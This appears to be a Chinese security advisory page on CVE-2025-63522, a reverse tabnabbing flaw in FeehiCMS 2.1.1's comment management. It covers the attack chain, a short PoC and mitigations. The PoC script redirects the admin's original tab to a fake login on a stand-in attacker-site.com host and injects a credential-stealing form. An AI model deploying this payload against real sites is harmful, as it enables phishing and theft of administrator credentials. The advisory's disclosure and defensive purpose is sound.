IPBUF安全漏洞报告
English
CVE-2025-63522 CVSS 4.6 中危

CVE-2025-63522 FeehiCMS 反向标签劫持漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-63522
漏洞类型
Reverse Tabnabbing
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
FeehiCMS

相关标签

Reverse Tabnabbing反向标签劫持FeehiCMS评论管理Web安全CVE-2025

漏洞概述

CVE-2025-63522是FeehiCMS 2.1.1版本中评论管理功能存在的一个反向标签劫持(Reverse Tabnabbing)安全漏洞。该漏洞的CVSS评分为4.6,属于中等严重程度。反向标签劫持是一种Web安全漏洞,攻击者利用通过target="_blank"属性打开的新标签页,通过window.opener对象获取原始页面的引用,从而能够操作用户的浏览上下文。攻击者可以利用此漏洞将合法用户从原始页面重定向到钓鱼网站,窃取用户的敏感信息(如登录凭证、会话Cookie等),或者在原始页面中注入恶意内容。由于该漏洞需要用户交互(点击恶意链接)才能触发,因此攻击具有一定的局限性,但在管理员查看评论的场景下,攻击者可以针对管理用户进行定向攻击,窃取管理员权限。

技术细节

FeehiCMS 2.1.1的评论管理功能存在反向标签劫持漏洞。漏洞的根本原因在于系统允许用户提交的评论内容中包含带有target="_blank"属性的链接标签。当管理员或用户点击这些链接时,浏览器会在新标签页中打开目标页面,同时通过window.opener对象保持对原始页面的引用。攻击者构造的恶意页面可以通过window.opener.location属性修改原始页面的URL地址,将其重定向到攻击者控制的钓鱼网站。由于原始页面与新打开的页面共享同一个浏览上下文,攻击者还可能通过JavaScript脚本访问原始页面的DOM结构,窃取其中的敏感信息或操作用户界面。漏洞利用的关键在于评论功能对用户输入的HTML标签缺乏有效的过滤和限制,特别是对链接标签的target属性没有进行安全处理。攻击者只需在评论中提交包含恶意链接的内容,等待管理员查看评论并点击链接,即可完成攻击链。

攻击链分析

STEP 1
步骤1
攻击者在FeehiCMS的评论功能中提交包含恶意链接的内容,链接使用target="_blank"属性打开新标签页
STEP 2
步骤2
管理员或目标用户登录FeehiCMS后台,查看评论列表,发现恶意链接
STEP 3
步骤3
管理员点击恶意链接,浏览器在新标签页打开攻击者控制的网站
STEP 4
步骤4
攻击者控制的页面通过window.opener对象获取原始FeehiCMS页面的引用
STEP 5
步骤5
攻击者利用window.opener.location将原始页面重定向到钓鱼网站,或注入恶意内容窃取用户凭证
STEP 6
步骤6
用户在钓鱼页面输入登录凭证,攻击者窃取用户账户信息或管理后台权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- 恶意评论内容示例 --> <a href="https://attacker-site.com/phishing-page" target="_blank">点击查看详情</a> <!-- 恶意网站上的脚本 --> <script> // 检查window.opener是否存在 if (window.opener) { // 重定向原始页面到钓鱼网站 window.opener.location.href = "https://attacker-site.com/fake-login"; // 或者注入恶意内容 window.opener.document.body.innerHTML = "<h1>Session Expired</h1><form action='https://attacker-site.com/steal'>..."; } </script> <!-- 修复后的安全写法 --> <a href="https://attacker-site.com/phishing-page" target="_blank" rel="noopener noreferrer">点击查看详情</a>

影响范围

FeehiCMS 2.1.1

防御指南

临时缓解措施
临时缓解措施:在Web服务器层面配置Content-Security-Policy响应头,添加'Content-Security-Policy: script-src 'self''以限制脚本执行。同时在应用层对所有用户生成的链接添加rel="noopener noreferrer"属性。如果无法立即升级,可在评论输出模板中添加链接过滤逻辑,将所有评论中的链接自动添加安全属性。对于高风险场景,可临时禁用评论功能的HTML标签支持,仅允许纯文本输入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表